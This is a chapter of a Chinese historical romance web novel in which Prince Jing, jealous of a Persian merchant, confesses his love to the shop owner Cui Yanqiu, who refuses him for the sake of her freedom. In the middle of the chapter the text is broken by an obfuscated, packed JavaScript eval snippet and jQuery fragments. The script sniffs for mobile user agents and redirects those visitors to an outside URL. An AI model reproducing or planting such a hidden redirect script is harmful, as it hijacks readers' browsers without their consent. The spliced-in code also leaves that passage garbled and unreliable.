默认冷灰
24号文字
方正启体

27. 靖王吃醋表白

作者:墨羽承璋本书字数:K更新时间:
    崔愈华惊呼一声,羞红了脸,忙环视四周,见宫人纷纷侧目装作没看到,才小声嗔斥,“靖王还在呢!臣妾一身汗,不妨先去沐浴更衣……”


    “他又没媳妇,管他做什么?”李瑾兴致高涨,头埋在崔愈华颈窝,鼻尖都是她的馨香,“不必沐浴了,今日我高兴呢……让我抱一会儿吧,姐姐。”


    崔愈华与李瑾成婚时,年方十八,而李瑾只有十六岁。二人自小相识,那时李瑾虽贵为太子,却总叫她“姐姐”。


    俩人浓情蜜意,李瑾不忘抬起下巴看一眼李珩,眼神颇为挑衅。


    你没老婆吧?我有老婆!


    李珩无语道,“臣弟欲提醒陛下,此处的是立政殿的大堂。”


    他的声音从牙缝挤出来,“不是大床。”


    “此乃朕的皇宫,你管朕做甚!”李瑾从崔愈华脖颈处探出,语调讥诮,“朕要提醒一下你才是!若你现在再不去醉仙楼看崔砚秋,她一会儿可就要把那八个男倌带回家了!”


    *


    夜是静的。没了白日里的喧嚣,空出一片寂寥。


    又是闹的。醉仙楼的顶层,宴席正酣,众人欢声笑语笑作一团,笑声传出几里地。


    夜风掀起靖王李珩玄色袍角,更深露重,他身上也落了一层吓人的寒气。迟迟抵达醉仙楼时,宵禁将至,宴席接近尾声,大多人已经回府,尤其是家里管得严的卢令娴,已由侍从送回。


    八个清秀的男倌抚琴斟酒,颜娘子陪着楠楠玩七巧板,李骜则坐在一旁,苦涩的酒入腹,只觉得心中紧张苦闷更甚。


    席间还有一位特邀的宾客,他是来自西域的商人,名为穆沙。


    恰逢皇帝鼓励百姓通商,因此丝绸之路畅通,赋税降低。原是穆沙在波斯时便见到过来自大唐的耳挂,设计、做工都称得上精美绝伦,因而慕名前来明月铛,想要与崔店主进行长期业务合作。


    他讲话有一股羊肉串的味道,风趣幽默,性格深得崔砚秋喜欢。由于性格热情奔放,穆沙亦欣赏崔砚秋豪迈的性情。


    听穆沙说,他的妻子赫尔才是商队的首领,自己只是一个打杂的。崔砚秋知道,穆沙虽是在自谦,可赫尔一定是一位更厉害的女子,才能作为一个领袖,引领一路商队。


    靖王李珩风尘仆仆登上醉仙楼,掌柜都知道他的身份,无一人敢阻拦。他步履不停,上楼梯时裙裤飞起,一路抵达最高层。直到路过一扇窗棂,却又退步回来,弯腰观察顶层房内的情形。


    只见崔砚秋一身月白素袍,笑容娇俏,正与一个身形高大、深目高鼻的胡裔男子笑着谈话。那男子笑容灿烂,手舞足蹈,不知说了什么,逗得她掩唇大笑,眉眼弯弯。


    李珩的眼神瞬间冷了下来。


    只见穆沙从怀中取出一个精致的牛皮香囊,示意崔砚秋闻闻。崔砚秋并没有拒绝,她轻嗅香囊,眸中迸溅出惊喜与赞赏。穆沙热情,竟不由分说直接将香囊塞入崔砚秋手中,并且顺势握住她的手,腔调带着一股异域的口音:“崔娘子,此物极其稀少,唯有赠予你,才不算明珠投暗!”


    崔砚秋欣喜收下,爽朗道,“穆沙大方,我定当好生珍惜!”


    二人气氛融洽至极,小窗外的李珩却尽收眼底。


    胡商握了崔砚秋的手,并将贴身之物相赠,而崔砚秋……竟丝毫不觉不妥,还高高兴兴收下了!


    一股混合着忮忌、恐慌的灼热的恼火,瞬间灼烧了他的理智。


    他快步走向厢房的大门。


    雅间的门骤然被猛地推开。靖王李珩脸色实在谈不上好看,他立于门口,料峭的倒春寒也比不上周身的冰冷。他缓缓扫视过在场的八个面容清秀的男倌,一位西域商人,还有一个倒霉侄子。


    厢房内,方才还欢愉的氛围,瞬间被他周身的寒气降至冰点。


    他大步流星横穿舞台,撞飞扭动着身子跳舞的娇弱男倌,无视众人讶异目光,跨至崔砚秋桌前,强行压抑怒火的嗓音说道,“跟我出来。”


    *


    醉仙楼的最顶层,向下望去,可以俯瞰整个灯火通明的长安城。露台之上,夜风微凉,将楼内的丝竹声吹得缥缈。


    “八个男倌,”李珩咬牙切齿地点头,磨着牙道,“崔店主真是好兴致!”


    崔砚秋干笑一声,拢紧肩上的斗篷,听到他的话轻哂。


    “没邀请靖王殿下来,殿下生气了?”她插科打诨道。


    “是,本王是生气了。”李珩干脆地承认,嗓音骤然间变高,“你邀请的,都是些什么人?!”


    明显能听出他的愠怒。


    崔砚秋懵了。她望着近在咫尺的靖王殿下,突然感觉他有些陌生。


    他一直是古板的、恪守礼仪的,偶尔会露出温柔的笑。可是面前这副模样的他,让她觉得自己好像从来没有深入地了解过李珩。


    “我邀请何人,还需要请殿下过目么?”她恼了,觉得李珩的气来的好没道理,“您要以什么身份质问我?是大唐的靖王,合作的伙伴,还是……我未婚夫的十二叔?!”


    未婚夫。


    这三个字突然刺痛了李珩。


    是了,在他们之中,隔的还有一个李骜。


    他的手指死死扣着露台的栏杆,常见习武的手指布满薄茧,修长的指尖泛白。


    骤然被训斥,崔砚秋眸中盈满了委屈的泪水,她抬起衣袖要擦去,然而却被李珩锢住手腕,猛地拉近他们之间的距离。


    “十二叔?”他的嗓音低沉,喃喃着,将这三个字重复一遍。


    超越往日恪守的大防距离,他嗅到了一丝女儿家的馨香,“崔砚秋,你明明知道我心里想要的是什么。”


    崔砚秋吃痛,她挣扎着动了动,李珩原本强硬的语气突然软下来,与手上十二成的力气背道而驰,几近一种类似哀求的语气:


    “看着我,崔砚秋。告诉我,你看着我的眼睛时,心里想的是李骜吗?”


    月光缱绻地落入长安城,似乎对李珩格外眷恋。崔砚秋下意识向李珩看去,俊美的容颜笼罩在如练月华中,一如初见。


    她内心一颤,慌忙偏过头,扭到看不见月光的地方,睫毛抖动得愈加剧烈。李珩将这一切尽收眼底,然而崔砚秋只道,“我想的是谁,与殿下有何干系?放手!”


    他们对峙着,就像是僵持不下的一盘棋局,棋逢对手,让时间仿佛凝固在了这一刻。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275354|198213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “退一万步来讲,就算我想的是你,”崔砚秋冷冷道,“那又如何?这世上没有什么事一定要一个结果,也没有任何的心动都必须长厢厮守!”


    手腕松动了一瞬。


    李珩内心炸开一朵小小的烟花——她是在变相承认,自己的”心动“么?


    崔砚秋正过脑袋,却被他轻轻扣住后颈,被迫抬着头直视他的眼睛。


    两人离得太近太近,气息交融,相互纠缠。他的眼底是翻涌的、不再掩饰的波涛汹涌。


    烛火倒映在李珩浅浅的瞳仁中,燃烧起一朵挣扎的情愫。


    他的声音暗哑,低低笑起来,“那你想与谁厮守?和那些曲意逢迎的男倌、不知哪儿来的乡野胡商、还是你那有名无实的未婚夫?”


    “啪!”


    崔砚秋甩手打在他的脸颊之上,猛然推开他,挣脱暧昧的禁锢,“你放肆!”


    她又气又恼,眼中氤氲了一层水光,刺痛了李珩的双眼。


    “别逼我恨你。”她胸口起伏。


    李珩踉跄着后退,下意识伸手抚上被扇的侧边脸颊,他扯了扯僵硬的嘴角,“看来无论如何暗示,对你装傻充愣来讲,是没用的。”


    他说,“也好,那我就直言了。”


    “崔娘子,我心悦你。


    “不是大唐的靖王,对待侯爵之女的垂怜;不是商铺的合伙人,对待店主的讨好。而是一个男人,对女人的倾慕。”


    他深深吸一口气,感觉在暗沉的深夜中,自己被压得喘不上气。


    “不是因为你的相貌,你的身份,是因为你是崔砚秋,所以我喜欢你。我看见你,便像是在只有黑白甲胄的边塞中,看见翱翔飞过的大雁一般,看见唯一一抹鲜活的色彩。


    “听到这些话,你总不能再逃避了吧。”


    发丝轻扬,他扭过头来,直视她的眼眸。


    崔砚秋手扶围栏,支撑着瘫软的身体,缓缓后退,拉开了理智的距离。


    冰冷的寒风吹过她的太阳穴,她拼命压下泪腺的喷涌,挣脱出他温柔的、深邃的眼眸。


    “我要回去了,他们还在等我。”崔砚秋拔腿要跑。


    “你还是要逃避。”一只有力的手扯住衣角,“你只是逃避,但是你并不是拒绝我,是不是?”


    “我——”


    “我能理解为,你并非完全不喜欢我,对不对?”


    面对接二连三,步步紧逼的进攻,崔砚秋感觉自己被逼到了一个死胡同口。她想借助什么东西翻越,可是围墙太高、太高。


    “谢谢你,靖王殿下。”崔砚秋默了默,“这份心意的重量,价值千金,太贵、太重。”


    “正因如此,我不能答应你。我这人生平最怕亏欠,对你,亦无例外。


    “我想要的,不是谁的’王妃‘这一位置,而是去看边塞的天、碧蓝的海,出行的商队,与自由的海鸥。


    “我想要能够完全由自己掌控的人生,想要能用自己的双脚丈量天下的土地……可是你只能给我片刻的欢愉,还有一座折断翅膀才能被锁进去的金笼子。


    “抱歉。”


    她郑重道歉。


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)